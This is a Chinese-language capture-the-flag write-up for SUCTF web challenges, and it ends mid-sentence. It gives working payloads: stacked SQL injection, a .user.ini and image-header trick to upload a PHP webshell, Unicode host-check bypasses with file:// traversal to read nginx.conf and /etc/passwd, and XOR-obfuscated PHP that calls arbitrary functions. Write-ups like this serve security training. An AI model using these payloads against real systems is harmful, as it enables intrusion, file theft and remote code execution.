Web
1.[SUCTF]EasySQL
预期解
后台的查询语句可能为select $_POST['a'] || flag from flag
,此时的||
为管道符,即前面的查询输出作为后面查询的输入。如果光是这样的话,我们是查询到flag
表中的数据的(关键字被过滤),如下只能得到前面查询语句的查询结果:
所以要利用该查询语句查询到
flag
,我们应该将||
转换成字符连接符,这样就能将前后查询结果拼接在一起返回。
这里需要修改
mysql
中sql_mode
的一个配置pipes_as_concat
,这样就可以达到目的。
而且该题目支持堆叠查询 所以如下
payload
:
1;set sql_mode=pipes_as_concat;select 1'
非预期
*,1
2.[SUCTF]CheckIn
题目中过滤了.htaccess
,不过还有.user.ini可以利用。
可是还有个exif_imagetype
的限制,这里可以直接在文件中加入xbm文件头
#define test_width 16
#define test_height 7
来绕过。
所以最后上传.user.ini
和一句话木马
访问上传目录下的
index.php
,根据.user.ini
的作用,将会去包含图片马
3.[SUCTF]Pythonginx
官方WP说是black hat2019上的东西
预期解
利用
℆
这个特殊的符号作为间隔,绕过代码中对suctf.cc
的检验。前面是c
,刚好是suctf.cc
的第二个c
,后面的u
则用usr
的u
去接收。其中de1ta使用的是以下代码找到符合条件的特殊字符
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=="__main__":
get_unicode()
然后用../../../
以及file
协议去读取文件,根据题目提示,去读取nginx
的配置文件,如下:
file://suctf.c℆sr/../../../../../../usr/local/nginx/conf/nginx.conf
发现
flag
文件,读取文件
file://suctf.c℆sr/fffffflag
非预期
- 可以用
。
替代.
从而绕过检测,如:
file://suctf。cc/../../../../../../usr/local/nginx/conf/nginx.conf
file://suctf。cc/usr/fffffflag
- 使用
%C5%BF
代替s
绕过,如:
file://%C5%BFuctf.cc/../../../../../../usr/local/nginx/conf/nginx.conf
file://%C5%BFuctf.cc/usr/fffffflag
- 利用
file:////suctf.cc/etc/passwd
绕过
可以发现不管是urlparse
还是urlsplit
都是无法识别到host
的,即为空
然后经过题目中代码的转化,可以发现原本parts[1]
的位置(host
)还是为空,但是在urlunsplit
重新拼接的时候,parts[0]:file
和parts[1]:
和parts[2]://sucft.cc/etc/passwd
拼接起来刚好就是file://suctf.cc/etc/passwd
。
也就是说urlsplit
和urlunsplit
的过程中去掉了//
。
4.[SUCTF]easyphp
源码如下:
18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
-
_
长度要小于18 - 要绕过
preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)
正则 - 相同字符的个数要少于12个(这题中没什么用)
- 调用
get_the_flag
去触发文件上传
上面这里基本上是和https://xz.aliyun.com/t/5677一致,再联系到国赛lovemath
那题。不难想到要通过异或或者取反以及使用花括号获得GET
请求中另一个参数,然后另外的那个参数去调用get_the_flag()
。因为过滤了取反运算,所以我们采用异或运算去构造。
首先构造出_GET
,使用字符串_GET
的ascii
码与0xffffffff
异或,得到0xa0b8baab
然后使用
0xa0b8baab^0xffffffff
就可以构造出_GET
的ascii
码。
所以我们使用
%ff%ff%ff%ff^%a0%b8%ba%ab
,然后结果会进行一次url
解码,所以会得到_GET
。
php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都⾃自动作为字符串串,7.2开始提出要被废弃,不过目前还存在着。所以其实有没有过滤引号都无所谓。
然后就要用到花括号了,${_GET}
这种方式可以获得GET
请求中所有变量的值,如下:
所以我们就可以使用
${_GET}{%ff}
的形式去读取GET
请求中%ff
的值(这里{}和[]是同样效果),如下:
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
接下来是上传文件部分。
- 文件后缀不能包括
ph
- 文件中不能出现
- 文件格式要绕过
exif_imagetype($tmp_name)
这跟之前的Checkin
差不多思路,后缀问题可以用.htaccess
绕过,因为可以根据phpinfo
发现php
版本为7.2,所以无法用短标签绕过。
7.0.0 The ASP tags <%, %>, <%=, and the script tag